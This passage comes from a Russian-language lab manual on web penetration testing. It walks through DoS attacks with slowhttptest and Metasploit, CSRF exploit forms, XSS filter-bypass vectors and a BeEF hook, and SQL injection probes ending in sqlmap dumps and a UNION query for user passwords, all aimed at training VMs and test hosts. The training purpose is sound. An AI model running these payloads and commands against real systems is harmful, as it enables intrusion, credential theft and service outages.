Шаг 7. Остановить сервер Nginx. Запустить сервер IIS. Проделать предыдущие шаги в отношении сервера IIS.

Шаг 8. В отношении сервера Apache выполнить атаку Apache Range Header. Проанализировать результаты. Выполнить команду

```
# slowhttptest -R -u http://www.test.app.com -t GET
-c 1000 -a 10 -b 3000 -r 500
```

Выполнить атаку Apache Range Header с использованием Metasploit Framework:

```
# msfconsole
> use auxiliary/dos/http/apache_range_dos
> show options
> set RHOSTS www.test.app.com
> set RPORT 80
> set RLIMIT 100
> set THREADS 3
> run
```

Вопросы и задания

1. Как можно по косвенным признакам определить уязвимость веб-сервера к атакам типа Slow HTTP DoS?
2. Реализовать механизмы защиты для веб-сервера Apache от атак Slow HTTP DoS.
3. Реализовать и протестировать веб-приложение, уязвимое к атаке XML Bomb.

Лабораторная работа№10 Поиск уязвимостей к атакам CSRF

Цель работы

Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей веб- приложений к атакам CSRF.

Краткие теоретические сведения

Атака Cross-Site Request Forgery (CSRF или XSRF) переводится как «Межсайтовая подделка запросов» [14, 15]. Данная атака заключается в том, что злоумышленник вынуждает браузер пользователя отправить без ведома последнего произвольный HTTP-запрос.

Уязвимость к атаке CSRF обусловлена недостатками отсутствия или некорректности проверки веб-приложением источника (origin) HTTP-запросов.

Как правило, атака проводится в два этапа. На первом этапе злоумышленник подготавливает веб-ресурс (либо на своем собственном сервере, либо на каком-либо форуме или в социальной сети), содержащий код HTML или JavaScript ивынуждающий браузер пользователя выполнить нужный злоумышленнику HTTP-запрос.

На втором этапе злоумышленник вынуждает жертву зайти на подготовленный им ресурс, передав ей ссылку с завлекающим текстом. Для этого злоумышленник может воспользоваться социальными сетями, электронной почтой или системами обмена мгновенными сообщениями, а также использовать методы социальной инженерии. Для маскировки адреса вредоносного веб-ресурса, злоумышленник может воспользоваться сервисом по сокращению URL (например, goo.gl или bit.ly).

Рекомендуемым общим методом защиты от атак CSRF является метод Synchronizer Token Pattern, осованный на использование случайных токенов [15]. Нерекомендуемыми методами защиты от атак CSRF являются:

- проверка HTTP-заголовка Referer;
- проверка наличия HTTP-заголовка X-Requested-With;
- использование дополнительных действий пользователя для подтверждения;
- использование заголовка Cookie (метод защиты «Double submit cookies»);
- отправка нескольких запросов;
- использование метода POST.

При реализации защиты от атак CSRF в первую очередь требуется убедиться, что приложение не содержит уязвимостей, позволяющих провести атаку XSS, так как почти все меры противодействия атакам CSRF могут быть преодолены через использование данной уязвимости.

Кроме того, необходимо проверить, что все действия, изменяющие состояние веб-приложения (действия по изменению или удалению различных объектов и т.п.), реализуются только с использованием метода POST (либо обычный POST, либо POST через AJAX).

Постановка задачи

Выполнить идентификацию и эксплуатацию уязвимостей к атакам CSRF. Последовательность действий

Шаг 1. Запустить веб-приложение WebGoat. Ввести логин:

«guest», пароль: «guest». Перейти по ссылке «Cross-Site Scripting → Cross-Site Request Forgery». Изучить условия задачи. Ввести в поле «Title» значение «Hello», а в поле «Message» значение «test». Нажать кнопку «Submit». Просмотреть с помощью Burp Suite или аналогичного средства отправленный браузером запрос

Ввести в поле «Title» значение «Hello», а в поле «Message» следующий HTML-код:

<img src=http://localhost/WebGoat/attack?transferFunds=40 00>

Шаг 2. Перейти по ссылке «Cross-Site Scripting → CSRF Prompt By-Pass». Изучить условия задачи. Ввести в поле «Title» значение «Hello», а в поле «Message» следующий HTML-код:

<img src="http://localhost/WebGoat/attack?transferFunds=4 000" onerror="i1=document.createElement('img'); i1.src='http://localhost/WebGoat/attack?transferFunds=CONFIRM"'>

Шаг 3. Проверить уязвимость веб-приложения www.app.test.com к атакам CSRF. Найти функцию, меняющую состояние веб-приложения. Выполнить эту функцию. Просмотреть HTTP-запрос. Удалить из него заголовки Referer и X-Requested- With (если они имеются). Проверить, что в запросе используется метод POST. Проверить наличие в запросе параметра, соответствующего CSRF-токену (он может называться CSRF_token, CSRFToken,

authenticity_token). Приложение уязвимо к атаке CSRF, если успешно выполнен один из следующих тестов:

− запрос не содержит CSRF-токенов в специальных заголовках и параметрах формы, а заголовки Referer и X-Requested-With мо-гут быть удалены из запросов без нарушения функционально- сти приложения;

− запрос содержит CSRF-токен, но последний может быть удален из-запроса без нарушения функциональности приложения;

− запрос содержит CSRF-токен, но значение последнего может быть любым или пустым;

− CSRF-токен одного пользователя может быть использован дру- гим пользователем;

− CSRF-токен является предсказуемым;

− приложение обрабатывает как POST-запросы с CSRF-токенами, так и GET-запросы без CSRF-токенов;

− существует hard-coded CSRF-токен для отладки и тестирования. Шаг 4. К обнаруженной уязвимости к атаке CSRF написать эксплоит. Например, пусть для удаления учетной записи используется следующий запрос:

```
POST /delete HTTP/1.1 Host: www.app.test.com
Cookie: JSESSIONID=KxwexXHkDqzObNrFnXZN19Lq
\r\n user=test&en=187213&pp=true
```

Если данный запрос не содержит CSRF-токенов, то для эксплуатации CSRF-уязвимости можно разместить на ресурсе злоумышленника следующий HTML-код:

```
<html>
<body>
<form action="http://www.app.test.com/delete" method=POST>
<input type="hidden" name="user" value="test">
<input type="hidden" name="en" value="187213">
<input type="hidden" name="pp" value="true">
</form>
<script>document.forms[0].submit()</script>
</body>
</html>
```

Перейти на веб-ресурс злоумышленника, убедиться, что подде- ланный запрос отправляется и обрабатывается приложением.

Вопросы и задания

1. Для веб-приложения, уязвимого к атаке CSRF, написать экс- плоит, отправляющий данные типа multipart/form-data.
2. Для веб-приложения, уязвимого к атаке XSS, написать на языке JavaScript эксплоит, извлекающий CSRF-токен.
3. Показать, как, используя уязвимость к атаке CSRF, можно выполнить атаку XSS.

ЛАБОРАТОРНАЯ РАБОТА 11

Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей веб- приложений к атакам XSS.

Краткие теоретические сведения

Атака Cross-Site Scripting (XSS) – это атака на веб-приложение, использующая недостатки неправильной обработки данных и позволяющая выполнить произвольный сценарий (JavaScript, VBScript) в контексте источника (origin) уязвимого веб- приложения.

Атаки XSS классифицируются по вектору и способу воздействия. По вектору воздействия атаки XSS бывают отраженными (reflected), устойчивыми (persistent) и основанными на объектной модели документа (DOM-based). По вектору атаки XSS делятся на активные и пассивные.

Устойчивая атака XSS – это XSS атака, в результате которой введенный злоумышленником код сохраняется на веб-сервере и возвращается пользователю в запросе не содержащем вектор атаки.

Отраженная атака XSS – XSS атака, в результате которой код, введенный злоумышленником, передается пользователю в ответе на тот же запрос, в котором передан вектор атаки.Атака XSS, называется DOM-based, если код злоумышленника может быть выполнен в браузере пользователя без отправки запроса на сервер веб-приложения.

В результате успешной реализации атаки XSS злоумышленник может выполнить, например, следующие действия:

- перенаправить пользователя на любой веб-сайт;
- получить аутентификационные данные пользователя, переда- ющиеся в Cookie;
- получить любые данные, к которым имеет доступ клиентская часть веб-приложения;
- получить доступ к внутренней сети пользователя;
- выполнить Deface веб-сайта и т.д.

В общемировой практике тестирования защищенности веб- приложений в качестве доказательства уязвимости приложения к атаке XSS принято демонстрировать возможность выполнения JavaScript-кода вида alert(1), prompt(/XSS/), confirm(0) и т.п.

При тестировании наличия уязвимости к атакам XSS важно определять контекст, в который выводятся данные. Существуют следующие виды контекстов: HTML, SCRIPT, STYLE, URL и ат- рибутный [16]. Ниже приведены примеры XSS-векторов для каж- дого из контекстов:

```
<h1>Hello,<img/src=1 onerror=prompt(0)></h1>
<script>var name=";alert(1);";</script>
<a  href="javascript:alert&lpar;1rpar;">ClickMe</a>
<div class=""onmouseover="alert(1);">…</div>
<div syle="width:expre/**/ssion(alert(1))">…</div>
```

Постановка задачи

Выполнить идентификацию и эксплуатацию уязвимостей к атакам XSS.

Последовательность действий

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложениеШаг 2. Перейти по ссылке «XSS → Example 1». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

<script>alert(1)</script>

Шаг 3. Перейти по ссылке «XSS → Example 2». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

<script>alert(1)</script>

Убедиться, что слово script фильтруется. Ввести вектор

<ScRipT>alert(1)</sCrIpT>

Шаг 4. Перейти по ссылке «XSS → Example 3». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

<script>alert(1)</script>

Убедиться, что слово <script> вырезается. Ввести вектор

<scr<script>ipt>alert(1)</s</script>cript>

Шаг 5. Перейти по ссылке «XSS → Example 4». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

<script>alert(1)</script>
Убедиться, что слово <script> вырезается корректно. Ввести вектор

<img/src=1 onerror=alert(1)>

Шаг 6. Перейти по ссылке «XSS → Example 5». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектора

<script>alert(1)</script>
<img/src=1 onerror=alert(1)>

Убедиться, что слово alert вырезается корректно. Ввести вектора

<img/src=1 onerror=\u0061alert(1)>
<img/src=1 onerror=prompt(1)>
<img src=1 onerror="t=/aler/.source%2b/t(1)/.source; eval(t)">

Шаг 7. Перейти по ссылке «XSS → Example 6». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектора

";alert(1);"
</script><script>alert(1);//

Шаг 8. Перейти по ссылке «XSS → Example 7». Проанализировать логику

функционирования веб-приложения. Определить контекст возможной атаки XSS. В качестве переменной name ввести вектор

";alert(1);"

Убедиться, что символ " кодируется в HTML-сущность &quot. В качестве переменной name ввести вектор';alert(1);'

Шаг 9. Перейти по ссылке «XSS → Example 8». Проанализировать логику функционирования веб-приложения. Определить контекст возможной атаки XSS. Вводимые данные кодируются корректно. Изменить URL на следующий:

xss/example8.php/"onsubmit="alert(1)

Шаг 10. Перейти по ссылке «XSS → Example 9». Проанализировать логику функционирования веб-приложения. Определить контекст и тип возможной атаки XSS. В браузере перейти по ссылке

xss/example9.php#<script>alert(1)</script>.

Убедиться, что никакого HTTP-запроса не отправляется.

Шаг 11. Запустить среду эксплуатации уязвимостей BeEF. Перейти по ссылке «XSS → Example 1». В качестве значения параметра name ввести вектор

<script src="http://1.1.1.1:3000/hook.js"></script>

Перейти в консоль BeEF, ввести стандартные логин и пароль (beef:beef). В разделе «Online Browser» должен отображаться ваш браузер. Во вкладке «Details» просмотреть информацию о браузе- ре и компьютере. Перейти во вкладку «Commands». Выполнить следующие команды и проанализировать полученные результаты:

- «Create Alert Dialog»;
- «Redirect Browser», перенаправив пользователя на сайт http://evil.com;
- «Clickjacking»;
- «Clippy»;
- «Fake Notification Bar»;
- «Google Phishing»;
- «Pretty Theft».

Вопросы и задания

1. Выполнить все задания по поиску уязвимостей к атакам XSS на сайте xss-game.appspot.com.
2. Выполнить несколько заданий по поиску уязвимостей к ата- кам XSS на сайте escape.alf.nu.
3. Выполнить несколько заданий по поиску уязвимостей к ата- кам XSS на сайте prompt.ml.

Лабораторная работа№ 12 Поиск уязвимостей к атакам SQL-injection

Цель работы

Целью лабораторной работы является обучение методам и средствам идентификации и эксплуатации уязвимостей в веб- приложениях к атакам SQL-injection.

Краткие теоретические сведения

Атака внедрения операторов SQL (SQL-injection) – это внедрение во входные данные, обрабатываемые веб-приложением, операторов языка SQL.

Необходимым условием уязвимости к атаке SQL-injection является недостаточная обработка входных недоверенных данных при формировании веб-приложением SQL-запросов, зависящих от этих данных. Атака SQL-injection позволяет злоумышленнику получить непосредственный доступ к данным через механизмы СУБД в обход логики веб-приложения.

В зависимости от используемой веб-приложением СУБД и условий внедрения выделяют следующие разновидности атак SQL-injection [17]:

- классическая;
- «слепая» типа boolean-based;
- «слепая» типа time-based;
- error-based;
- вложенная;
- фрагментированная.

Рассмотрим примеры базовых тестов, обнаруживающих уязвимость параметра id к атаке SQL-injection:

- http://www.test.app.com/index?id=1'
- http://www.test.app.com/index?id=1"
- http://www.test.app.com/index?id=1' order by 1000
- http://www.test.app.com/index?id=1"--
- http://www.test.app.com/index?id=1'/*
- http://www.test.app.com/index?id=1"#
- http://www.test.app.com/index?id=1 and 1=1--
- http://www.test.app.com/index?id=1 and 1=2—
- http://www.test.app.com/index?id=1' and '1'='1
- http://www.test.app.com/index?id=1' and '1'='2

Постановка задачи

Выполнить идентификацию и эксплуатацию уязвимостей к атакам SQL-injection.

Последовательность действий

Шаг 1. Скачать образ «Web For Pentesters» с веб-сайта www.pentesterlab.com. Создать виртуальную машину. Загрузиться с диска. В браузере открыть веб-приложение.

Шаг 2. Перейти по ссылке «SQL injections → Example 1». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example1.php?name=root'
- sqli/example1.php?name=root"
- sqli/example1.php?name=root'%201=1
- sqli/example1.php?name=root'%201=1#
- sqli/example1.php?name=root'%201=1%20—
- sqli/example1.php?name=root'%201=1%20/*
- sqli/example1.php?name=root'%20'1'='1
- sqli/example1.php?name=root'%20'1'='2
- sqli/example1.php?name=root'%23sqli

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Выполнить следующую ко- манду:# python sqlmap.py –p name —dmbs=mysql —dump

–u http://*IP_address*/sqli/example1.php?name=root

Просмотреть результаты работы программы, просмотреть полу- ченные данные из базы данных.

Шаг 2. Перейти по ссылке «SQL injections → Example 2». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example2.php?name=root%20and%201=1
- sqli/example2.php?name=root'%09and%09'1'='1
- sqli/example2.php?name=root'%09and%09'1'='2
- sqli/example2.php?name=root'%2b%2b'

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Запустить sqlmap, убедить- ся, что в данном случае он не смог идентифицировать уязвимый параметр.

Шаг 3. Перейти по ссылке «SQL injections → Example 3». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example3.php?name=root%20and%201=1
- sqli/example3.php?name=root'/**/and/**/'1'='1
- sqli/example3.php?name=root'/**/and/**/'1'='2
- sqli/example3.php?name=root'%2b%2b'

Последние три запроса позволяют сделать вывод об уязвимости параметра name к атаке SQL-injection. Запустить sqlmap, убедить- ся, что в данном случае он не сможет идентифицировать уязвимый параметр.

Шаг 4. Перейти по ссылке «SQL injections → Example 4». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example4.php?id=2
- sqli/example4.php?id=2'
- sqli/example4.php?id=2"
- sqli/example4.php?id=1%2b1
- sqli/example4.php?id=0%2b2
- sqli/example4.php?id=3-1

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Выполнить следующую команду:

python sqlmap.py –p id —dmbs=mysql —dump
–u http://*IP_address*/sqli/example4.php?id=1

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

Шаг 5. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example5.php?id=2
- sqli/example5.php?id=2'
- sqli/example5.php?id=2"
- sqli/example5.php?id=1%2b1

- sqli/example5.php?id=0%2b2
- sqli/example5.php?id=3-1

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Выполнить следующую команду:

python sqlmap.py –p id —dmbs=mysql —dump
–u http://*IP_address*/sqli/example5.php?id=1

Просмотреть полученные данные из базы данных. Просмотреть исходный код PHP-сценария.

Шаг 6. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения.

Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example6.php?id=2
- sqli/example6.php?id=2'
- sqli/example6.php?id=2"
- sqli/example6.php?id=1%2b1
- sqli/example6.php?id=0%2b2
- sqli/example6.php?id=3-1
- sqli/example6.php?id=5-3

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Просмотреть исходный код PHP-сценария.

Шаг 7. Перейти по ссылке «SQL injections → Example 5». Проанализировать логику функционирования веб-приложения. Последовательно ввести следующие запросы, обращая внимание на вывод веб-приложения, сделать предположение о структуре используемого SQL-запроса:

- sqli/example7.php?id=2
- sqli/example7.php?id=2'
- sqli/example7.php?id=2"
- sqli/example7.php?id=1%2b1
- sqli/example7.php?id=3-1
- sqli/example7.php?id=2%0Aand%201=1
- sqli/example7.php?id=2%0Aand%201=2
- sqli/example7.php?id=2%0A%23sqli

Последние три запроса позволяют сделать вывод об уязвимости параметра id к атаке SQL-injection. Запустить sqlmap, убедиться, что в данном случае он не может проэксплуатировать уязвимый параметр. Выполнить следующие запросы для извлечения данных из СУБД:

- sqli/example7.php?id=2%0Aunion%20select%201
- sqli/example7.php?id=2%0Aunion%20select%201,2
- sqli/example7.php?id=2%0Aunion%20select%201,2,3
- sqli/example7.php?id=2%0Aunion%20select%201,2,3,4
- sqli/example7.php?id=2%0Aunion%20select%201,2,3,4, 5
- sqli/example7.php?id=2%0Aunion%20select%20name, passwd,1,1,1 from users

Ручными методами получить данные из базы данных. Просмотреть исходный код PHP-сценария.

Вопросы и задания

1. С помощью программы sqlmap идентифицировать уязвимый к атаке SQL-

injection параметр и получить содержимое СУБД в случае, когда веб-приложение запрещает использование пробелов во входных данных.

2. Построить и выполнить SQL-запрос, приводящий к отказу в обслуживании веб-приложения, уязвимого к атаке SQL-injection.

3. Для веб-приложения, уязвимого к атаке SQL-injection и ис- пользующего для хранения данных СУБД MySQL, получить со- держимое служебной базы данных INFORMATION_SCHEMA.